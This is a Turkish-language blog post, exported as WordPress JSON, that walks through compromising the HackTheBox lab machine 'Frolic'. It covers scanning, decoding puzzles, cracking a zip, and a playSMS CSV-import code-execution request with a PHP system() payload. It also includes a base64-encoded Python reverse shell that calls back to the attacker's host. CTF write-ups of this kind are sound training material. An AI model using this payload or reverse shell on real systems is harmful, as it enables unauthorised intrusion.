{"id":1540,"date":"2021-09-06T23:53:00","date_gmt":"2021-09-06T23:53:00","guid":{"rendered":"http:\/\/144.76.171.171\/blog\/?p=1540"},"modified":"2021-09-06T23:53:11","modified_gmt":"2021-09-06T23:53:11","slug":"frolic","status":"publish","type":"post","link":"https:\/\/berenkudaygorun.com\/blog\/blog\/2021\/09\/06\/frolic\/","title":{"rendered":"Frolic"},"content":{"rendered":"\n\n\n\n\n
Makine Ad\u0131<\/th>\nSeviye<\/th>\nOS<\/th>\nLogo<\/th>\n<\/tr>\n<\/thead>\n
Frolic<\/a> - HTB<\/td>\nKolay<\/td>\nLinux<\/td>\n\"\"<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

Walkthrough<\/h2>\n

nmap taramas\u0131:<\/p>\n

\u250c\u2500\u2500(root💀kali)-[\/home\/\u2026\/Desktop\/HTB\/Linux\/Frolic]\n\u2514\u2500# nmap -p- -A 10.10.10.111 -T4\nStarting Nmap 7.91 ( https:\/\/nmap.org ) at 2021-09-05 13:55 EDT\nStats: 0:01:24 elapsed; 0 hosts completed (1 up), 1 undergoing Traceroute\nTraceroute Timing: About 32.26% done; ETC: 13:56 (0:00:00 remaining)\nNmap scan report for 10.10.10.111\nHost is up (0.074s latency).\nNot shown: 65530 closed ports\nPORT     STATE SERVICE     VERSION\n22\/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey: \n|   2048 87:7b:91:2a:0f:11:b6:57:1e:cb:9f:77:cf:35:e2:21 (RSA)\n|   256 b7:9b:06:dd:c2:5e:28:44:78:41:1e:67:7d:1e:b7:62 (ECDSA)\n|_  256 21:cf:16:6d:82:a4:30:c3:c6:9c:d7:38:ba:b5:02:b0 (ED25519)\n139\/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)\n445\/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)\n1880\/tcp open  http        Node.js (Express middleware)\n|_http-title: Node-RED\n9999\/tcp open  http        nginx 1.10.3 (Ubuntu)\n|_http-server-header: nginx\/1.10.3 (Ubuntu)\n|_http-title: Welcome to nginx!\nNo exact OS matches for host (If you know what OS is running on it, see https:\/\/nmap.org\/submit\/ ).\nTCP\/IP fingerprint:\nOS:SCAN(V=7.91%E=4%D=9\/5%OT=22%CT=1%CU=38858%PV=Y%DS=2%DC=T%G=Y%TM=613504D5\nOS:%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=106%TI=Z%TS=8)SEQ(SP=106%GCD\nOS:=1%ISR=107%TI=Z%CI=I%TS=8)OPS(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11\nOS:NW7%O4=M54DST11NW7%O5=M54DST11NW7%O6=M54DST11)WIN(W1=7120%W2=7120%W3=712\nOS:0%W4=7120%W5=7120%W6=7120)ECN(R=Y%DF=Y%T=40%W=7210%O=M54DNNSNW7%CC=Y%Q=)\nOS:T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=\nOS:0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T\nOS:6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+\nOS:%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK\nOS:=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)\n\nNetwork Distance: 2 hops\nService Info: Host: FROLIC; OS: Linux; CPE: cpe:\/o:linux:linux_kernel\n\nHost script results:\n|_clock-skew: mean: -1h45m20s, deviation: 3h10m31s, median: 4m39s\n|_nbstat: NetBIOS name: FROLIC, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)\n| smb-os-discovery: \n|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)\n|   Computer name: frolic\n|   NetBIOS computer name: FROLIC\\x00\n|   Domain name: \\x00\n|   FQDN: frolic\n|_  System time: 2021-09-05T23:31:11+05:30\n| smb-security-mode: \n|   account_used: guest\n|   authentication_level: user\n|   challenge_response: supported\n|_  message_signing: disabled (dangerous, but default)\n| smb2-security-mode: \n|   2.02: \n|_    Message signing enabled but not required\n| smb2-time: \n|   date: 2021-09-05T18:01:11\n|_  start_date: N\/A\n\nTRACEROUTE (using port 8888\/tcp)\nHOP RTT      ADDRESS\n1   70.34 ms 10.10.14.1\n2   71.40 ms 10.10.10.111\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\nNmap done: 1 IP address (1 host up) scanned in 90.49 seconds\n<\/code><\/pre>\n
Bir\u00e7ok farkl\u0131 port a\u00e7\u0131k bundan dolay\u0131 uzun bir bilgi toplama a\u015famas\u0131 oldu ancak ben tav\u015fan deliklerini atlayarak devam ediyorum. <\/p>\n
http:\/\/forlic.htb:9999\/admin\/<\/a> sayfas\u0131n\u0131n kodlar\u0131na bakt\u0131\u011f\u0131mda http:\/\/forlic.htb:9999\/admin\/js\/login.js<\/a> isimli \u00f6zel bir javascript dosyas\u0131 buldum ve bunun kodlar\u0131na bakt\u0131\u011f\u0131mda credential ele ge\u00e7irdim.<\/p>\n
var attempt = 3; \/\/ Variable to count number of attempts.\n\/\/ Below function Executes on click of login button.\nfunction validate(){\nvar username = document.getElementById("username").value;\nvar password = document.getElementById("password").value;\nif ( username == "admin" && password == "superduperlooperpassword_lol"){\nalert ("Login successfully");\nwindow.location = "success.html"; \/\/ Redirecting to other page.\nreturn false;\n}\nelse{\nattempt --;\/\/ Decrementing by one.\nalert("You have left "+attempt+" attempt;");\n\/\/ Disabling fields after 3 attempts.\nif( attempt == 0){\ndocument.getElementById("username").disabled = true;\ndocument.getElementById("password").disabled = true;\ndocument.getElementById("submit").disabled = true;\nreturn false;\n}\n}\n}<\/code><\/pre>\n
Buradaki credentiallar ile sisteme giri\u015f yapt\u0131\u011f\u0131mda beni a\u015fa\u011f\u0131daki gibi bir not kar\u015f\u0131lad\u0131.<\/p>\n
..... ..... ..... .!?!! .?... ..... ..... ...?. ?!.?. ..... ..... .......... ..... ..!.? ..... ..... .!?!! .?... ..... ..?.? !.?.. ..... .........! ..... ..... .!.?. ..... .!?!! .?!!! !!!?. ?!.?! !!!!! !...! .......... .!.!! !!!!! !!!!! !!!.? ..... ..... ..... ..!?! !.?!! !!!!! !!!!!!!!!? .?!.? !!!!! !!!!! !!!!! .?... ..... ..... ....! ?!!.? ..... .......... .?.?! .?... ..... ..... ...!. !!!!! !!.?. ..... .!?!! .?... ...?.?!.?. ..... ..!.? ..... ..!?! !.?!! !!!!? .?!.? !!!!! !!!!. ?.... .......... ...!? !!.?! !!!!! !!!!! !!!!! ?.?!. ?!!!! !!!!! !!.?. ..... .......... .!?!! .?... ..... ..... ...?. ?!.?. ..... !.... ..... ..!.! !!!!!!.!!! !!... ..... ..... ....! .?... ..... ..... ....! ?!!.? !!!!! !!!!!!!!!! !?.?! .?!!! !!!!! !!!!! !!!!! !!!!! .?... ....! ?!!.? ..... .?.?!.?... ..... ....! .?... ..... ..... ..!?! !.?.. ..... ..... ..?.? !.?..!.?.. ..... ..!?! !.?.. ..... .?.?! .?... .!.?. ..... .!?!! .?!!! !!!?.?!.?! !!!!! !!!!! !!... ..... ...!. ?.... ..... !?!!. ?!!!! !!!!? .?!.?!!!!! !!!!! !!!.? ..... ..!?! !.?!! !!!!? .?!.? !!!.! !!!!! !!!!! !!!!!!.... ..... ..... ..... !.!.? ..... ..... .!?!! .?!!! !!!!! !!?.? !.?!!!.?.. ..... ....! ?!!.? ..... ..... ?.?!. ?.... ..... ..... ..!.. .......... .!.?. ..... ...!? !!.?! !!!!! !!?.? !.?!! !!!.? ..... ..!?! !.?!!!!!!? .?!.? !!!!! !!.?. ..... ...!? !!.?. ..... ..?.? !.?.. !.!!! !!!!!!!!!! !!!!! !.?.. ..... ..!?! !.?.. ..... .?.?! .?... .!.?. ..... .......... .!?!! .?!!! !!!!! !!!!! !!!?. ?!.?! !!!!! !!!!! !!.!! !!!!! .......!.! !!!!! !.?.<\/code><\/pre>\n
Execute Oook! short code to text<\/strong> i\u015flemi ile decode etti\u011fimde a\u015fa\u011f\u0131daki sonucu elde ettim.<\/p>\n
Nothing here check \/asdiSIAJJ0QWE9JAS<\/code><\/pre>\n
http:\/\/forlic.htb:9999\/asdiSIAJJ0QWE9JAS\/<\/a> adreine gitti\u011fimde yine bir \u015fifre ile kar\u015f\u0131la\u015ft\u0131m ancak bunu deode edemedim. Bunun \u00fczerine abse64 decode edip bir dosyaya yazmay\u0131 denedim b\u00f6ylece ne dosyas\u0131 oldu\u011funu anlayabilirdim.<\/p>\n
\n\u250c\u2500\u2500(root💀kali)-[\/home\/\u2026\/Desktop\/HTB\/Linux\/Frolic]\n\u2514\u2500# cat chipper        \nUEsDBBQACQAIAMOJN00j\/lsUsAAAAGkCAAAJABwAaW5kZXgucGhwVVQJAAOFfKdbhXynW3V4CwAB\nBAAAAAAEAAAAAF5E5hBKn3OyaIopmhuVUPBuC6m\/U3PkAkp3GhHcjuWgNOL22Y9r7nrQEopVyJbs\nK1i6f+BQyOES4baHpOrQu+J4XxPATolb\/Y2EU6rqOPKD8uIPkUoyU8cqgwNE0I19kzhkVA5RAmve\nEMrX4+T7al+fi\/kY6ZTAJ3h\/Y5DCFt2PdL6yNzVRrAuaigMOlRBrAyw0tdliKb40RrXpBgn\/uoTj\nlurp78cmcTJviFfUnOM5UEsHCCP+WxSwAAAAaQIAAFBLAQIeAxQACQAIAMOJN00j\/lsUsAAAAGkC\nAAAJABgAAAAAAAEAAACkgQAAAABpbmRleC5waHBVVAUAA4V8p1t1eAsAAQQAAAAABAAAAABQSwUG\nAAAAAAEAAQBPAAAAAwEAAAAA\n\n\u250c\u2500\u2500(root💀kali)-[\/home\/\u2026\/Desktop\/HTB\/Linux\/Frolic]\n\u2514\u2500# cat chipper| base64 -d > chipper2\n\n\u250c\u2500\u2500(root💀kali)-[\/home\/\u2026\/Desktop\/HTB\/Linux\/Frolic]\n\u2514\u2500# cat chipper2                     \nPK     \u00c97M#\ufffd[\ufffdi index.phpUT \ufffd|\ufffd[\ufffd|\ufffd[ux\n                                          ^D\ufffdJ\ufffds\ufffdh\ufffd)\ufffdP\ufffdn\n                                                        \ufffd\ufffdSs\ufffdJw\ufffd\u070e\ufffd4\ufffd\ufffd\u064fk\ufffdz\ufffd\ufffdU\u0216\ufffd+X\ufffd\ufffdP\ufffd\ufffd\u1d87\ufffd\ufffd\u043b\ufffdx_\ufffdN\ufffd[\ufffd\ufffd\ufffdS\ufffd\ufffd8\ufffd\ufffd\ufffd\ufffdJ2S\ufffd*\ufffdD\u040d}\ufffd8dTQk\ufffd\ufffd\ufffd\ufffd\ufffd\ufffdj_\ufffd\ufffd\ufffd\ufffd\ufffd'xc\ufffd\ufffd\u074ft\ufffd\ufffd75Q\ufffd\n                                                                                                                                                   \ufffd\ufffd\ufffdk,4\ufffd\ufffdb)\ufffd4F\ufffd\ufffd  \ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd&q2o\ufffdW\u051c\ufffd9P#\ufffd[\ufffdiPK      \u00c97M#\ufffd[\ufffdi \ufffd\ufffdindex.phpUT\ufffd|\ufffd[ux\n                                                                   PKO                                                                                                                                                              \n\u250c\u2500\u2500(root💀kali)-[\/home\/\u2026\/Desktop\/HTB\/Linux\/Frolic]\n\u2514\u2500# file chipper2\nchipper2: Zip archive data, at least v2.0 to extract\n<\/code><\/pre>\n
Bir zip dosyas\u0131 ve parola korumal\u0131. John ile kolay bir \u015fekilde k\u0131rd\u0131m.<\/p>\n
\n\u250c\u2500\u2500(root💀kali)-[\/home\/\u2026\/Desktop\/HTB\/Linux\/Frolic]\n\u2514\u2500# \/usr\/sbin\/zip2john chipper2                                                                                                                           1 \u2a2f\nver 2.0 efh 5455 efh 7875 chipper2\/index.php PKZIP Encr: 2b chk, TS_chk, cmplen=176, decmplen=617, crc=145BFE23\nchipper2\/index.php:$pkzip2$1*2*2*0*b0*269*145bfe23*0*43*8*b0*145b*89c3*5e44e6104a9f73b2688a299a1b9550f06e0ba9bf5373e4024a771a11dc8ee5a034e2f6d98f6bee7ad0128a55c896ec2b58ba7fe050c8e112e1b687a4ead0bbe2785f13c04e895bfd8d8453aaea38f283f2e20f914a3253c72a830344d08d7d933864540e51026bde10cad7e3e4fb6a5f9f8bf918e994c027787f6390c216dd8f74beb2373551ac0b9a8a030e95106b032c34b5d96229be3446b5e90609ffba84e396eae9efc72671326f8857d49ce339*$\/pkzip2$:index.php:chipper2::chipper2\n\n\u250c\u2500\u2500(root💀kali)-[\/home\/\u2026\/Desktop\/HTB\/Linux\/Frolic]\n\u2514\u2500# echo 'chipper2\/index.php:$pkzip2$1*2*2*0*b0*269*145bfe23*0*43*8*b0*145b*89c3*5e44e6104a9f73b2688a299a1b9550f06e0ba9bf5373e4024a771a11dc8ee5a034e2f6d98f6bee7ad0128a55c896ec2b58ba7fe050c8e112e1b687a4ead0bbe2785f13c04e895bfd8d8453aaea38f283f2e20f914a3253c72a830344d08d7d933864540e51026bde10cad7e3e4fb6a5f9f8bf918e994c027787f6390c216dd8f74beb2373551ac0b9a8a030e95106b032c34b5d96229be3446b5e90609ffba84e396eae9efc72671326f8857d49ce339*$\/pkzip2$:index.php:chipper2::chipper2' > chipper2john\n\n\u250c\u2500\u2500(root💀kali)-[\/home\/\u2026\/Desktop\/HTB\/Linux\/Frolic]\n\u2514\u2500# john chipper2john --wordlist=\/usr\/share\/wordlists\/rockyou.txt  \nUsing default input encoding: UTF-8\nLoaded 1 password hash (PKZIP [32\/64])\nWill run 4 OpenMP threads\nPress 'q' or Ctrl-C to abort, almost any other key for status\npassword         (chipper2\/index.php)\n1g 0:00:00:00 DONE (2021-09-05 14:53) 100.0g\/s 819200p\/s 819200c\/s 819200C\/s 123456..whitetiger\nUse the "--show" option to display all of the cracked passwords reliably\nSession completed<\/code><\/pre>\n
Daha sonras\u0131nda i\u00e7ini a\u00e7t\u0131m.<\/p>\n
\n\u250c\u2500\u2500(root💀kali)-[\/home\/\u2026\/HTB\/Linux\/Frolic\/zip]\n\u2514\u2500# unzip chipper2 \nArchive:  chipper2\n[chipper2] index.php password: \n  inflating: index.php               \n\n\u250c\u2500\u2500(root💀kali)-[\/home\/\u2026\/HTB\/Linux\/Frolic\/zip]\n\u2514\u2500# ls                    \nchipper2  index.php\n\n\u250c\u2500\u2500(root💀kali)-[\/home\/\u2026\/HTB\/Linux\/Frolic\/zip]\n\u2514\u2500# cat index.php \n4b7973724b7973674b7973724b7973675779302b4b7973674b7973724b7973674b79737250463067506973724b7973674b7934744c5330674c5330754b7973674b7973724b7973674c6a77720d0a4b7973675779302b4b7973674b7a78645069734b4b797375504373674b7974624c5434674c53307450463067506930744c5330674c5330754c5330674c5330744c5330674c6a77724b7973670d0a4b317374506973674b79737250463067506973724b793467504373724b3173674c5434744c53304b5046302b4c5330674c6a77724b7973675779302b4b7973674b7a7864506973674c6930740d0a4c533467504373724b3173674c5434744c5330675046302b4c5330674c5330744c533467504373724b7973675779302b4b7973674b7973385854344b4b7973754c6a776743673d3d0d0a\n<\/code><\/pre>\n
\u0130fadeyi hex'ten text'e d\u00f6n\u00fc\u015ft\u00fcrd\u00fcm.<\/p>\n
KysrKysgKysrKysgWy0+KysgKysrKysgKysrPF0gPisrKysgKy4tLS0gLS0uKysgKysrKysgLjwr\nKysgWy0+KysgKzxdPisKKysuPCsgKytbLT4gLS0tPF0gPi0tLS0gLS0uLS0gLS0tLS0gLjwrKysg\nK1stPisgKysrPF0gPisrKy4gPCsrK1sgLT4tLS0KPF0+LS0gLjwrKysgWy0+KysgKzxdPisgLi0t\nLS4gPCsrK1sgLT4tLS0gPF0+LS0gLS0tLS4gPCsrKysgWy0+KysgKys8XT4KKysuLjwgCg==<\/code><\/pre>\n
Daha sonras\u0131nda bu ifadeyi base64 ile decode ettim.<\/p>\n
\n\u250c\u2500\u2500(root💀kali)-[\/home\/\u2026\/HTB\/Linux\/Frolic\/zip]\n\u2514\u2500# cat hex2text           \nKysrKysgKysrKysgWy0+KysgKysrKysgKysrPF0gPisrKysgKy4tLS0gLS0uKysgKysrKysgLjwr\nKysgWy0+KysgKzxdPisKKysuPCsgKytbLT4gLS0tPF0gPi0tLS0gLS0uLS0gLS0tLS0gLjwrKysg\nK1stPisgKysrPF0gPisrKy4gPCsrK1sgLT4tLS0KPF0+LS0gLjwrKysgWy0+KysgKzxdPisgLi0t\nLS4gPCsrK1sgLT4tLS0gPF0+LS0gLS0tLS4gPCsrKysgWy0+KysgKys8XT4KKysuLjwgCg==\n\n\u250c\u2500\u2500(root💀kali)-[\/home\/\u2026\/HTB\/Linux\/Frolic\/zip]\n\u2514\u2500# cat hex2text| base64 -d\n+++++ +++++ [->++ +++++ +++<] >++++ +.--- --.++ +++++ .<+++ [->++ +<]>+\n++.<+ ++[-> ---<] >---- --.-- ----- .<+++ +[->+ +++<] >+++. <+++[ ->---\n<]>-- .<+++ [->++ +<]>+ .---. <+++[ ->--- <]>-- ----. <++++ [->++ ++<]>\n++..< <\/code><\/pre>\n
Son olarak elimizde bir brainfuck var bunuda decode edelim. (https:\/\/www.splitbrain.org\/_static\/ook\/<\/a>)<\/p>\n
idkwhatispass<\/code><\/pre>\n
Dosya dizin ke\u015ffi yaparken a\u015fa\u011f\u0131daki sonu\u00e7lar\u0131 bulmu\u015ftum.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[\/home\/\u2026\/Desktop\/HTB\/Linux\/Frolic]\n\u2514\u2500# gobuster dir --add-slash --expanded --follow-redirect --url http:\/\/forlic.htb:9999\/  --no-error -t 50 --extensions php,txt,html --wordlist \/usr\/share\/wordlists\/dirb\/big.txt| tee gobuster1\n===============================================================\nGobuster v3.1.0\nby OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)\n===============================================================\n[+] Url:                     http:\/\/forlic.htb:9999\/\n[+] Method:                  GET\n[+] Threads:                 50\n[+] Wordlist:                \/usr\/share\/wordlists\/dirb\/big.txt\n[+] Negative Status codes:   404\n[+] User Agent:              gobuster\/3.1.0\n[+] Extensions:              html,php,txt\n[+] Add Slash:               true\n[+] Follow Redirect:         true\n[+] Expanded:                true\n[+] Timeout:                 10s\n===============================================================\n2021\/09\/05 14:03:35 Starting gobuster in directory enumeration mode\n===============================================================\nhttp:\/\/forlic.htb:9999\/.htaccess\/           (Status: 403) [Size: 178]\nhttp:\/\/forlic.htb:9999\/.htpasswd\/           (Status: 403) [Size: 178]\nhttp:\/\/forlic.htb:9999\/.htpasswd.txt        (Status: 403) [Size: 178]\nhttp:\/\/forlic.htb:9999\/.htaccess.txt        (Status: 403) [Size: 178]\nhttp:\/\/forlic.htb:9999\/.htpasswd.html       (Status: 403) [Size: 178]\nhttp:\/\/forlic.htb:9999\/.htaccess.html       (Status: 403) [Size: 178]\nhttp:\/\/forlic.htb:9999\/admin\/               (Status: 200) [Size: 634]\nhttp:\/\/forlic.htb:9999\/backup\/              (Status: 200) [Size: 28] \nhttp:\/\/forlic.htb:9999\/cgi-bin\/.html        (Status: 403) [Size: 178]\nhttp:\/\/forlic.htb:9999\/dev\/                 (Status: 403) [Size: 178]\nhttp:\/\/forlic.htb:9999\/loop\/                (Status: 403) [Size: 178]\nhttp:\/\/forlic.htb:9999\/test\/                (Status: 200) [Size: 84046]\n\n===============================================================\n2021\/09\/05 14:05:43 Finished\n===============================================================<\/code><\/pre>\n
\n\u250c\u2500\u2500(root💀kali)-[\/home\/\u2026\/Desktop\/HTB\/Linux\/Frolic]\n\u2514\u2500# gobuster dir --add-slash --expanded --follow-redirect --url http:\/\/forlic.htb:9999\/dev\/  --no-error -t 50 --extensions php,txt,html --wordlist \/usr\/share\/wordlists\/dirb\/big.txt| tee gobuster1\n===============================================================\nGobuster v3.1.0\nby OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)\n===============================================================\n[+] Url:                     http:\/\/forlic.htb:9999\/dev\/\n[+] Method:                  GET\n[+] Threads:                 50\n[+] Wordlist:                \/usr\/share\/wordlists\/dirb\/big.txt\n[+] Negative Status codes:   404\n[+] User Agent:              gobuster\/3.1.0\n[+] Extensions:              html,php,txt\n[+] Add Slash:               true\n[+] Follow Redirect:         true\n[+] Expanded:                true\n[+] Timeout:                 10s\n===============================================================\n2021\/09\/05 14:14:05 Starting gobuster in directory enumeration mode\n===============================================================\nhttp:\/\/forlic.htb:9999\/dev\/.htaccess\/           (Status: 403) [Size: 178]\nhttp:\/\/forlic.htb:9999\/dev\/.htpasswd\/           (Status: 403) [Size: 178]\nhttp:\/\/forlic.htb:9999\/dev\/.htaccess.html       (Status: 403) [Size: 178]\nhttp:\/\/forlic.htb:9999\/dev\/.htpasswd.txt        (Status: 403) [Size: 178]\nhttp:\/\/forlic.htb:9999\/dev\/.htaccess.txt        (Status: 403) [Size: 178]\nhttp:\/\/forlic.htb:9999\/dev\/.htpasswd.html       (Status: 403) [Size: 178]\nhttp:\/\/forlic.htb:9999\/dev\/backup\/              (Status: 200) [Size: 11] \nhttp:\/\/forlic.htb:9999\/dev\/cgi-bin\/.html        (Status: 403) [Size: 178]\n\n===============================================================\n2021\/09\/05 14:16:11 Finished\n===============================================================\n<\/code><\/pre>\n
\n\u250c\u2500\u2500(root💀kali)-[\/home\/\u2026\/Desktop\/HTB\/Linux\/Frolic]\n\u2514\u2500# curl http:\/\/forlic.htb:9999\/dev\/backup\/  \n\/playsms\n<\/code><\/pre>\n
\u015eimdi playsms sayfas\u0131na giri\u015f yapabiliyorum.<\/p>\n
http:\/\/forlic.htb:9999\/playsms\/index.php => admin:idkwhatispass<\/code><\/pre>\n
Searchsploit ile arama yapt\u0131\u011f\u0131mda a\u015fa\u011f\u0131daki videoyu buldum.<\/p>\n
https:\/\/www.youtube.com\/watch?v=KIB9sKQdEwE<\/code><\/pre>\n
Bu videoda nas\u0131l manp\u00fcle edildi\u011fi anlat\u0131lm\u0131\u015f bende bir tane csv dosyas\u0131 olu\u015fturdum. Burp ile araya girdim ve daha sonras\u0131nda user agent k\u0131sm\u0131ndan payload\u0131m\u0131 g\u00f6ndererek reverse ald\u0131m. \u0130\u015flemleri a\u015fa\u011f\u0131da verilmi\u015ftir.<\/p>\n
\nPOST \/playsms\/index.php?app=main&inc=feature_phonebook&route=import&op=import HTTP\/1.1\nHost: forlic.htb:9999\nUser-Agent: whoami\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: multipart\/form-data; boundary=---------------------------298005074236352148901336251475\nContent-Length: 456\nOrigin: http:\/\/forlic.htb:9999\nConnection: close\nReferer: http:\/\/forlic.htb:9999\/playsms\/index.php?app=main&inc=feature_phonebook&route=import&op=list\nCookie: PHPSESSID=at6d85pk22psbp646oel28k1l6\nUpgrade-Insecure-Requests: 1\n\n-----------------------------298005074236352148901336251475\nContent-Disposition: form-data; name="X-CSRF-Token"\ncafc1c0d3f8f052402725890b05de9ff\n-----------------------------298005074236352148901336251475\nContent-Disposition: form-data; name="fnpb"; filename="hack.csv"\nContent-Type: text\/csv\nName,Mobile,Email,Group code,Tags\n<?php system($_SERVER["HTTP_USER_AGENT"]); ?>,2,3,4,5\n-----------------------------298005074236352148901336251475--<\/code><\/pre>\n
Bu iste\u011fime cevap olarak a\u015fa\u011f\u0131daki gibi bir sonu\u00e7 ald\u0131m.<\/p>\n
...\n\nGroup code<\/th>\n                <th width="15%">Tags<\/th>\n            <\/tr><\/thead><tbody>\n                            <tr>\n                            <td>1.<\/td>\n                            <td>www-data\n<\/td>\n                            <td>2<\/td>\n                            <td>\n\n...<\/code><\/pre>\n
\u015eimdi reverse alal\u0131m. python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.18",1111));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("\/bin\/sh")'<\/code> ifadesini base64 ile encode ettim: echo 'cHl0aG9uIC1jICdpbXBvcnQgc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsc29ja2V0LlNPQ0tfU1RSRUFNKTtzLmNvbm5lY3QoKCIxMC4xMC4xNC4xOCIsMTExMSkpO29zLmR1cDIocy5maWxlbm8oKSwwKTtvcy5kdXAyKHMuZmlsZW5vKCksMSk7b3MuZHVwMihzLmZpbGVubygpLDIpO3B0eS5zcGF3bigiL2Jpbi9zaCIpJwo=' | base64 -d | bash<\/code>. User agent k\u0131sm\u0131na bunu yazd\u0131m.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[\/home\/\u2026\/HTB\/Linux\/Frolic\/zip]\n\u2514\u2500# nc -lvp 1111                                                         1 \u2a2f\nlistening on [any] 1111 ...\nconnect to [10.10.14.18] from forlic.htb [10.10.10.111] 46176\n$ id\nid\nuid=33(www-data) gid=33(www-data) groups=33(www-data)\n$ \/bin\/bash\n\/bin\/bash\nwww-data@frolic:~\/html\/playsms$ alias ls="ls -al"\nalias ls="ls -al"\nwww-data@frolic:~\/html\/playsms$ cd \/home\ncd \/home\nwww-data@frolic:\/home$ ls\nls\ntotal 16\ndrwxr-xr-x  4 root  root  4096 Sep 23  2018 .\ndrwxr-xr-x 22 root  root  4096 Sep 23  2018 ..\ndrwxr-xr-x  3 ayush ayush 4096 Sep 25  2018 ayush\ndrwxr-xr-x  7 sahay sahay 4096 Sep 25  2018 sahay\nwww-data@frolic:\/home$ cd ayush\ncd ayush\nwww-data@frolic:\/home\/ayush$ ls\nls\ntotal 36\ndrwxr-xr-x 3 ayush ayush 4096 Sep 25  2018 .\ndrwxr-xr-x 4 root  root  4096 Sep 23  2018 ..\n-rw------- 1 ayush ayush 2781 Sep 25  2018 .bash_history\n-rw-r--r-- 1 ayush ayush  220 Sep 23  2018 .bash_logout\n-rw-r--r-- 1 ayush ayush 3771 Sep 23  2018 .bashrc\ndrwxrwxr-x 2 ayush ayush 4096 Sep 25  2018 .binary\n-rw-r--r-- 1 ayush ayush  655 Sep 23  2018 .profile\n-rw------- 1 ayush ayush  965 Sep 25  2018 .viminfo\n-rwxr-xr-x 1 ayush ayush   33 Sep 25  2018 user.txt\nwww-data@frolic:\/home\/ayush$ cat user.txt\ncat user.txt\n2ab95909cf509f85a6f476b59a0c2fe0\nwww-data@frolic:\/home\/ayush$ <\/code><\/pre>\n
\u0130\u00e7eride incelemeler yaparken SUID biti etkin olan bir binary buldum. String ile bakt\u0131\u011f\u0131mda akl\u0131ma buffer overflow geldi ve baz\u0131 kontroller ger\u00e7ekle\u015ftirdim.<\/p>\n
\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2563 Interesting Files \u2560\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2563 SUID - Check easy privesc, exploits and write perms\n\u255a https:\/\/book.hacktricks.xyz\/linux-unix\/privilege-escalation#sudo-and-suid\n-rwsr-xr-x 1 root root 38K Mar  6  2017 \/sbin\/mount.cifs\n-rwsr-xr-x 1 root root 34K Dec  1  2017 \/bin\/mount  --->  Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8\n-rwsr-xr-x 1 root root 43K May  8  2014 \/bin\/ping6\n-rwsr-xr-x 1 root root 30K Jul 12  2016 \/bin\/fusermount (Unknown SUID binary)\n-rwsr-xr-x 1 root root 39K May  8  2014 \/bin\/ping\n-rwsr-xr-x 1 root root 26K Dec  1  2017 \/bin\/umount  --->  BSD\/Linux(08-1996)\n-rwsr-xr-x 1 root root 38K May 17  2017 \/bin\/su\n-rwsr-xr-x 1 root root 154K Jan 28  2017 \/bin\/ntfs-3g  --->  Debian9\/8\/7\/Ubuntu\/Gentoo\/others\/Ubuntu_Server_16.10_and_others(02-2017)\n-rwsr-xr-x 1 root root 7.4K Sep 25  2018 \/home\/ayush\/.binary\/rop (Unknown SUID binary)\n-rwsr-xr-x 1 root root 52K May 17  2017 \/usr\/bin\/passwd  --->  Apple_Mac_OSX(03-2006)\/Solaris_8\/9(12-2004)\/SPARC_8\/9\/Sun_Solaris_2.3_to_2.5.1(02-1997)\n...<\/code><\/pre>\n
